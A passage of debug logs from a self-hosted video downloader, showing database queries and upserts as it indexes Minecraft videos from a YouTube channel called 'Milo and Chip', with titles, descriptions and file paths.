min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-02 23:00:07Z], 30] 19:42:04.876 [debug] QUERY OK source="media_items" db=0.7ms idle=176.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["REVEALING Milo’s Secret True Identity! 🎭 😱 Will we find out who is really behind the mask, or is it a trap we weren't prepared for?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Who’s Hiding Behind Milo’s Mask in Minecraft?", "1aec4a37-997f-4cfa-b1bd-0d0632beefc0", "77bY5u7lOGs", false, "https://www.youtube.com/watch?v=77bY5u7lOGs", 30, [], 1120, false, 17, "/downloads/rory/Milo and Chip/2026-05-02 Who’s Hiding Behind Milo’s Mask in Minecraft?/Who’s Hiding Behind Milo’s Mask in Minecraft? [77bY5u7lOGs].mp4", false, false, 98, ~U[2026-05-02 23:00:07Z], ~U[2026-06-03 23:42:04Z], ~U[2026-06-03 23:42:04Z], "REVEALING Milo’s Secret True Identity! 🎭 😱 Will we find out who is really behind the mask, or is it a trap we weren't prepared for?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Who’s Hiding Behind Milo’s Mask in Minecraft?", "77bY5u7lOGs", "https://www.youtube.com/watch?v=77bY5u7lOGs", 30, 1120, false, "/downloads/rory/Milo and Chip/2026-05-02 Who’s Hiding Behind Milo’s Mask in Minecraft?/Who’s Hiding Behind Milo’s Mask in Minecraft? [77bY5u7lOGs].mp4", false, ~U[2026-05-02 23:00:07Z]] 19:42:04.877 [debug] QUERY OK source="sources" db=0.2ms idle=146.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:04.877 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:04.877 [debug] QUERY OK source="media_items" db=0.1ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [133922] 19:42:04.877 [debug] Current batch of media processed. Will check again in 1000ms 19:42:05.878 [debug] Current batch of media processed. Will check again in 1000ms 19:42:06.879 [debug] Current batch of media processed. Will check again in 1000ms 19:42:07.880 [debug] Current batch of media processed. Will check again in 1000ms 19:42:08.882 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Building the ULTIMATE Elemental Empire! 🔥 🌊 Can we evolve our secret powers and survive the war between Fire and Water?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1266, "filename" => "/downloads/rory/Milo and Chip/2026-05-01 Players Simulate Elemental Civilization in Minecraft/Players Simulate Elemental Civilization in Minecraft [v2BpJPC_GKc].mp4", "id" => "v2BpJPC_GKc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=v2BpJPC_GKc", "playlist_index" => 18, "timestamp" => 1777676466, "title" => "Players Simulate Elemental Civilization in Minecraft", "upload_date" => "20260501"} 19:42:08.883 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=182.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:42:08.885 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=184.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:08.891 [debug] QUERY OK source="media_items" db=5.2ms queue=0.1ms idle=186.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-01 23:01:06Z], 30] 19:42:08.896 [debug] QUERY OK source="media_items" db=3.7ms idle=192.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Building the ULTIMATE Elemental Empire! 🔥 🌊 Can we evolve our secret powers and survive the war between Fire and Water?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Players Simulate Elemental Civilization in Minecraft", "5cef838d-6717-4458-9c86-6b70471ece7a", "v2BpJPC_GKc", false, "https://www.youtube.com/watch?v=v2BpJPC_GKc", 30, [], 1266, false, 18, "/downloads/rory/Milo and Chip/2026-05-01 Players Simulate Elemental Civilization in Minecraft/Players Simulate Elemental Civilization in Minecraft [v2BpJPC_GKc].mp4", false, false, 98, ~U[2026-05-01 23:01:06Z], ~U[2026-06-03 23:42:08Z], ~U[2026-06-03 23:42:08Z], "Building the ULTIMATE Elemental Empire! 🔥 🌊 Can we evolve our secret powers and survive the war between Fire and Water?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Players Simulate Elemental Civilization in Minecraft", "v2BpJPC_GKc", "https://www.youtube.com/watch?v=v2BpJPC_GKc", 30, 1266, false, "/downloads/rory/Milo and Chip/2026-05-01 Players Simulate Elemental Civilization in Minecraft/Players Simulate Elemental Civilization in Minecraft [v2BpJPC_GKc].mp4", false, ~U[2026-05-01 23:01:06Z]] 19:42:08.897 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=158.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:08.898 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=14.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:08.899 [debug] QUERY OK source="media_items" db=0.7ms idle=13.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [133649] 19:42:08.900 [debug] Current batch of media processed. Will check again in 1000ms 19:42:09.900 [debug] Current batch of media processed. Will check again in 1000ms 19:42:10.901 [debug] Current batch of media processed. Will check again in 1000ms 19:42:11.903 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I Caught My Friends on SPY CAMERAS! 📸 🤫 Can I pull off the ultimate sleepover pranks and find my stolen Golden Cookie?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 945, "filename" => "/downloads/rory/Milo and Chip/2026-04-29 Using CAMERAS to Prank My Friends Sleepover in Minecraft/Using CAMERAS to Prank My Friends Sleepover in Minecraft [1DuV4o4JX8c].mp4", "id" => "1DuV4o4JX8c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1DuV4o4JX8c", "playlist_index" => 19, "timestamp" => 1777503602, "title" => "Using CAMERAS to Prank My Friends Sleepover in Minecraft", "upload_date" => "20260429"} 19:42:11.904 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1204.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:42:11.906 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=1205.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:11.908 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1207.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-29 23:00:02Z], 30] 19:42:11.921 [debug] QUERY OK source="media_items" db=12.8ms idle=1168.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Caught My Friends on SPY CAMERAS! 📸 🤫 Can I pull off the ultimate sleepover pranks and find my stolen Golden Cookie?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using CAMERAS to Prank My Friends Sleepover in Minecraft", "88715a12-9f87-4145-92dc-00a0826a400a", "1DuV4o4JX8c", false, "https://www.youtube.com/watch?v=1DuV4o4JX8c", 30, [], 945, false, 19, "/downloads/rory/Milo and Chip/2026-04-29 Using CAMERAS to Prank My Friends Sleepover in Minecraft/Using CAMERAS to Prank My Friends Sleepover in Minecraft [1DuV4o4JX8c].mp4", false, false, 98, ~U[2026-04-29 23:00:02Z], ~U[2026-06-03 23:42:11Z], ~U[2026-06-03 23:42:11Z], "I Caught My Friends on SPY CAMERAS! 📸 🤫 Can I pull off the ultimate sleepover pranks and find my stolen Golden Cookie?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using CAMERAS to Prank My Friends Sleepover in Minecraft", "1DuV4o4JX8c", "https://www.youtube.com/watch?v=1DuV4o4JX8c", 30, 945, false, "/downloads/rory/Milo and Chip/2026-04-29 Using CAMERAS to Prank My Friends Sleepover in Minecraft/Using CAMERAS to Prank My Friends Sleepover in Minecraft [1DuV4o4JX8c].mp4", false, ~U[2026-04-29 23:00:02Z]] 19:42:11.922 [debug] QUERY OK source="sources" db=0.3ms idle=179.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:11.922 [debug] QUERY OK source="media_profiles" db=0.2ms idle=17.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:11.923 [debug] QUERY OK source="media_items" db=0.2ms idle=16.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [133105] 19:42:11.923 [debug] Current batch of media processed. Will check again in 1000ms 19:42:12.923 [debug] Current batch of media processed. Will check again in 1000ms 19:42:13.924 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "POLICE vs MILITARY: Ultimate Base Defense! 👮 🎖️ Will our custom tanks and siren blasters be enough to stop the Mutant Creeper?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 908, "filename" => "/downloads/rory/Milo and Chip/2026-04-25 POLICE vs MILITARY: Survival Battle in Minecraft/POLICE vs MILITARY: Survival Battle in Minecraft [1To5x_fzNZs].mp4", "id" => "1To5x_fzNZs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1To5x_fzNZs", "playlist_index" => 20, "timestamp" => 1777158004, "title" => "POLICE vs MILITARY: Survival Battle in Minecraft", "upload_date" => "20260425"} 19:42:13.925 [debug] QUERY OK source="sources" db=0.2ms idle=225.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:42:13.925 [debug] QUERY OK source="sources" db=0.2ms idle=225.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:13.927 [debug] QUERY OK source="media_items" db=1.3ms idle=226.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-25 23:00:04Z], 30] 19:42:13.930 [debug] QUERY OK source="media_items" db=2.7ms idle=227.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["POLICE vs MILITARY: Ultimate Base Defense! 👮 🎖️ Will our custom tanks and siren blasters be enough to stop the Mutant Creeper?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "POLICE vs MILITARY: Survival Battle in Minecraft", "fa09a414-61ac-43e0-9b57-f1a0f1582183", "1To5x_fzNZs", false, "https://www.youtube.com/watch?v=1To5x_fzNZs", 30, [], 908, false, 20, "/downloads/rory/Milo and Chip/2026-04-25 POLICE vs MILITARY: Survival Battle in Minecraft/POLICE vs MILITARY: Survival Battle in Minecraft [1To5x_fzNZs].mp4", false, false, 98, ~U[2026-04-25 23:00:04Z], ~U[2026-06-03 23:42:13Z], ~U[2026-06-03 23:42:13Z], "POLICE vs MILITARY: Ultimate Base Defense! 👮 🎖️ Will our custom tanks and siren blasters be enough to stop the Mutant Creeper?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "POLICE vs MILITARY: Survival Battle in Minecraft", "1To5x_fzNZs", "https://www.youtube.com/watch?v=1To5x_fzNZs", 30, 908, false, "/downloads/rory/Milo and Chip/2026-04-25 POLICE vs MILITARY: Survival Battle in Minecraft/POLICE vs MILITARY: Survival Battle in Minecraft [1To5x_fzNZs].mp4", false, ~U[2026-04-25 23:00:04Z]] 19:42:13.930 [debug] QUERY OK source="sources" db=0.3ms idle=185.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:13.931 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:13.932 [debug] QUERY OK source="media_items" db=0.4ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [132026] 19:42:13.932 [debug] Current batch of media processed. Will 